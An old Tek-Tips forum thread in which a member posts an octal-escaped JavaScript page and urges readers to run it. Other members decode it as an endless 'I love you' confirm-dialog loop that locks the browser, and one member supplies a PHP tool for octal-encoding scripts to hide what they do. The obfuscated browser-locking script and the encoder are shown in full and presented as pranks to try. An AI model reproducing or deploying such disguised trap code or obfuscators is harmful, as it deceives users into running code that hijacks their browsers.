Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations Mike Lewis on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

Take a break.....have fun!

Status
Not open for further replies.

Sleidia

Technical User
May 4, 2001
1,284
0
0
FR
Hello,

It has been reported that the code below is the ancestor
of the virus "I love You".
(this isn't a joke, the script is working)
Try it and let me know your opinion :)

<body bgcolor=&quot;#ffffff&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; topmargin=&quot;0&quot; leftmargin=&quot;0&quot; bottommargin=&quot;0&quot; rightmargin=&quot;0&quot; onload=&quot;document.write('\074\115\105\124\101\040\150\164\164\160\055\145\161\165\151\166\075\042\103\157\156\164\145\156\164\055\124\171\160\145\042\040\143\157\156\164\145\156\164\075\042\164\145\170\164\057\150\164\155\154\073\040\143\150\141\162\163\145\164\075\123\150\151\146\164\137\112\111\123\042\076\074\150\164\155\154\076\074\150\145\141\144\076\074\164\151\164\154\145\076\074\057\164\151\164\154\145\076\074\123\103\122\111\120\124\040\114\101\116\107\125\101\107\105\075\042\112\141\166\141\123\143\162\151\160\164\061\056\062\042\076\146\165\156\143\164\151\157\156\040\156\141\163\164\171\050\051\040\173\151\146\040\050\143\157\156\146\151\162\155\050\042\111\040\154\157\166\145\040\171\157\165\042\051\051\040\173\156\141\163\164\171\050\051\073\175\040\145\154\163\145\040\173\156\141\163\164\171\050\051\073\175\175\074\057\123\103\122\111\120\124\076\074\057\150\145\141\144\076\074\142\157\144\171\040\142\147\143\157\154\157\162\075\042\043\146\146\146\146\146\146\042\040\155\141\162\147\151\156\167\151\144\164\150\075\042\060\042\040\155\141\162\147\151\156\150\145\151\147\150\164\075\042\060\042\040\164\157\160\155\141\162\147\151\156\075\042\060\042\040\154\145\146\164\155\141\162\147\151\156\075\042\060\042\040\142\157\164\164\157\155\155\141\162\147\151\156\075\042\060\042\040\162\151\147\150\164\155\141\162\147\151\156\075\042\060\042\040\157\156\154\157\141\144\075\042\156\141\163\164\171\050\051\042\076\074\163\160\141\156\040\163\164\171\154\145\075\042\160\157\163\151\164\151\157\156\072\040\141\142\163\157\154\165\164\145\073\040\172\055\151\156\144\145\170\072\040\064\073\040\143\157\154\157\162\072\040\171\145\154\154\157\167\073\040\146\157\156\164\055\163\151\172\145\072\040\063\060\060\160\164\073\040\164\157\160\072\040\060\160\170\073\040\154\145\146\164\072\040\060\160\170\042\076\046\043\071\066\067\071\073\074\057\163\160\141\156\076\074\163\160\141\156\040\163\164\171\154\145\075\042\160\157\163\151\164\151\157\156\072\040\141\142\163\157\154\165\164\145\073\040\172\055\151\156\144\145\170\072\040\064\073\040\143\157\154\157\162\072\040\142\154\141\143\153\073\040\146\157\156\164\055\163\151\172\145\072\040\067\060\160\164\073\040\164\157\160\072\040\061\062\062\160\170\073\040\154\145\146\164\072\040\067\060\160\170\042\076\046\043\071\066\067\071\073\074\057\163\160\141\156\076\074\163\160\141\156\040\163\164\171\154\145\075\042\160\157\163\151\164\151\157\156\072\040\141\142\163\157\154\165\164\145\073\040\172\055\151\156\144\145\170\072\040\064\073\040\143\157\154\157\162\072\040\142\154\141\143\153\073\040\146\157\156\164\055\163\151\172\145\072\040\067\060\160\164\073\040\164\157\160\072\040\061\062\062\160\170\073\040\154\145\146\164\072\040\062\060\060\160\170\042\076\046\043\071\066\067\071\073\074\057\163\160\141\156\076\074\163\160\141\156\040\163\164\171\154\145\075\042\160\157\163\151\164\151\157\156\072\040\141\142\163\157\154\165\164\145\073\040\172\055\151\156\144\145\170\072\040\064\073\040\143\157\154\157\162\072\040\142\154\141\143\153\073\040\146\157\156\164\055\163\151\172\145\072\040\062\060\060\160\164\073\040\164\157\160\072\040\067\060\160\170\073\040\154\145\146\164\072\040\061\060\060\160\170\073\040\146\157\156\164\055\146\141\155\151\154\171\072\040\101\162\151\141\154\042\076\074\057\163\160\141\156\076\074\163\160\141\156\040\163\164\171\154\145\075\042\160\157\163\151\164\151\157\156\072\040\141\142\163\157\154\165\164\145\073\040\172\055\151\156\144\145\170\072\040\064\073\040\143\157\154\157\162\072\040\142\154\141\143\153\073\040\146\157\156\164\055\163\151\172\145\072\040\061\060\060\160\164\073\040\164\157\160\072\040\062\065\060\160\170\073\040\154\145\146\164\072\040\061\067\060\160\170\042\076\055\074\057\163\160\141\156\076\074\123\103\122\111\120\124\040\114\101\116\107\125\101\107\105\075\042\112\141\166\141\123\143\162\151\160\164\061\056\062\042\076\156\141\163\164\171\050\051\073\074\057\123\103\122\111\120\124\076\074\057\142\157\144\171\076\074\057\150\164\155\154\076')&quot;>

My Work...
...and More...
 
Just so that you all know what the script does.

The script draws a yellow solid circle and a couple of black sold rectangles. It appears to be some sort of picture, but I don't know what it's supposed to represent.

It also opens an alert box with the message &quot;I Love You&quot; with the options ok and cancel. No matter which option you choose the alert box remains. It doesnt matter how many times you click on either option.

There is no way to close the browser window, without logging off.
 
Good Morning Craigey.

I sincerely hope you didn't take this as an offense.
The reason I posted this message is that I was so surprised
when discovering this way to write scripts that I felt I had
to share it with others. Sorry if you all already knew
this &quot;trick&quot;.

BTW, normally, you should have seen a big smiley (a big
yellow circle plus two black circles, etc...). I didn't have
time to test it on others platforms (mine is Japanese).

Anyway, have a good day!
My Work...
...and More...
 
Actually it is a simple way of hidding code that I cracked in no time. :) When the page document.writes() the content it write unicode characters that are equivalent to this (I added the line breaks to make it more readable).

Here is the code inside the document.write :

<META http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=Shift_JIS&quot;>
<html>
<head>
<title>
</title>
<SCRIPT LANGUAGE=&quot;JavaScript1.2&quot;>function nasty() {if (confirm(&quot;I love you&quot;)) {nasty();} else {nasty();}}
</SCRIPT>
</head>
<body bgcolor=&quot;#ffffff&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; topmargin=&quot;0&quot; leftmargin=&quot;0&quot; bottommargin=&quot;0&quot; rightmargin=&quot;0&quot; onload=&quot;nasty()&quot;>
<span style=&quot;position: absolute; z-index: 4; color: yellow; font-size: 300pt; top: 0px; left: 0px&quot;>&#9679;
</span>
<span style=&quot;position: absolute; z-index: 4; color: black; font-size: 70pt; top: 122px; left: 70px&quot;>&#9679;
</span>
<span style=&quot;position: absolute; z-index: 4; color: black; font-size: 70pt; top: 122px; left: 200px&quot;>&#9679;
</span>
<span style=&quot;position: absolute; z-index: 4; color: black; font-size: 200pt; top: 70px; left: 100px; font-family: Arial&quot;>
</span>
<span style=&quot;position: absolute; z-index: 4; color: black; font-size: 100pt; top: 250px; left: 170px&quot;>-
</span>
<SCRIPT LANGUAGE=&quot;JavaScript1.2&quot;>nasty();
</SCRIPT>
</body>
</html> Gary Haran
 
Hello Xutopia.

Of course the source is dislayed like any normal
code. I didn't intend to hide the source code once
it's activated.
But admit that you had to run the code in order to
understand what it was for. That was the main purpose
of the post. A javascript code you can't understand if you
don't run it.

See you. My Work...
...and More...
 
good work guys :)
de question is .. can we develope a simple program to converts JS to the numeric-encrypted code above! ....:::::.... xxLargeWASP ....:::::....
 
sleida! :) I didn't run the code at all. I simply read the document.write and saw it was unicode so though I would convert it.

xxlargwasp, There isn't a way in JS you can do this. However there are a few Java utilities that can convert to unicode character equivalents but you would have to ask in the Java forum for that. Gary Haran
 
Hello,

The code is existing (I've made it yesterday for fun) but
it's written in PHP.

See below (You can make a javascript version easily I guess):

<?php

$to_convert = &quot;<META http-equiv=\&quot;Content-Type\&quot; content=\&quot;text/html; charset=Shift_JIS\&quot;><html><head><title></title><SCRIPT LANGUAGE=\&quot;JavaScript1.2\&quot;>function nasty() {if (confirm(\&quot;I love you\&quot;)) {nasty();} else {nasty();}}</SCRIPT></head><body bgcolor=\&quot;#ffffff\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; topmargin=\&quot;0\&quot; leftmargin=\&quot;0\&quot; bottommargin=\&quot;0\&quot; rightmargin=\&quot;0\&quot; onload=\&quot;nasty()\&quot;><span style=\&quot;position: absolute; z-index: 4; color: yellow; font-size: 300pt; top: 0px; left: 0px\&quot;>œ</span><span style=\&quot;position: absolute; z-index: 4; color: black; font-size: 70pt; top: 122px; left: 70px\&quot;>œ</span><span style=\&quot;position: absolute; z-index: 4; color: black; font-size: 70pt; top: 122px; left: 200px\&quot;>œ</span><span style=\&quot;position: absolute; z-index: 4; color: black; font-size: 200pt; top: 70px; left: 100px; font-family: Arial\&quot;>~</span><span style=\&quot;position: absolute; z-index: 4; color: black; font-size: 100pt; top: 250px; left: 170px\&quot;>-</span><SCRIPT LANGUAGE=\&quot;JavaScript1.2\&quot;>nasty();</SCRIPT></body></html>&quot;;

$conv_table = array(&quot;!^041&quot;, &quot;#^043&quot;, &quot;$^044&quot;, &quot;%^045&quot;, &quot;&^046&quot;, &quot;'^047&quot;, &quot;(^050&quot;, &quot;)^051&quot;, &quot;*^052&quot;, &quot;+^053&quot;, &quot;,^054&quot;, &quot;-^055&quot;, &quot;.^056&quot;, &quot;/^057&quot;, &quot;0^060&quot;, &quot;1^061&quot;, &quot;2^062&quot;, &quot;3^063&quot;, &quot;4^064&quot;, &quot;5^065&quot;, &quot;6^066&quot;, &quot;7^067&quot;, &quot;8^070&quot;, &quot;9^071&quot;, &quot;:^072&quot;, &quot;;^073&quot;, &quot;<^074&quot;, &quot;=^075&quot;, &quot;>^076&quot;, &quot;?^077&quot;, &quot;@^100&quot;, &quot;A^101&quot;, &quot;B^102&quot;, &quot;C^103&quot;, &quot;D^104&quot;, &quot;E^105&quot;, &quot;F^106&quot;, &quot;G^107&quot;, &quot;H^110&quot;, &quot;I^111&quot;, &quot;J^112&quot;, &quot;K^113&quot;, &quot;L^114&quot;, &quot;M^115&quot;, &quot;N^116&quot;, &quot;O^117&quot;, &quot;P^120&quot;, &quot;Q^121&quot;, &quot;R^122&quot;, &quot;S^123&quot;, &quot;T^124&quot;, &quot;U^125&quot;, &quot;V^126&quot;, &quot;W^127&quot;, &quot;X^130&quot;, &quot;Y^131&quot;, &quot;Z^132&quot;, &quot;[^133&quot;, &quot;]^135&quot;, &quot;_^137&quot;, &quot;a^141&quot;, &quot;b^142&quot;, &quot;c^143&quot;, &quot;d^144&quot;, &quot;e^145&quot;, &quot;f^146&quot;, &quot;g^147&quot;, &quot;h^150&quot;, &quot;i^151&quot;, &quot;j^152&quot;, &quot;k^153&quot;, &quot;l^154&quot;, &quot;m^155&quot;, &quot;n^156&quot;, &quot;o^157&quot;, &quot;p^160&quot;, &quot;q^161&quot;, &quot;r^162&quot;, &quot;s^163&quot;, &quot;t^164&quot;, &quot;u^165&quot;, &quot;v^166&quot;, &quot;w^167&quot;, &quot;x^170&quot;, &quot;y^171&quot;, &quot;z^172&quot;, &quot;{^173&quot;, &quot;|^174&quot;, &quot;}^175&quot;, &quot; ^040&quot;, &quot;\&quot;^042&quot;);

$result = &quot;&quot;;

for($i=0; $i < strlen($to_convert); $i++ ) {

$string = substr($to_convert, $i, 1);

for($j=0; $j < sizeof($conv_table); $j++ ) {

$bef = substr($conv_table[$j], 0, 1);
$aft = substr($conv_table[$j], 2);

if($bef == $string) {
$result .= &quot;\\&quot; . str_replace($bef, $aft, $string);
} else {
continue;
}

}

}


echo&quot;
$result
&quot;;


?>



My Work...
...and More...
 
No offence taken!
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top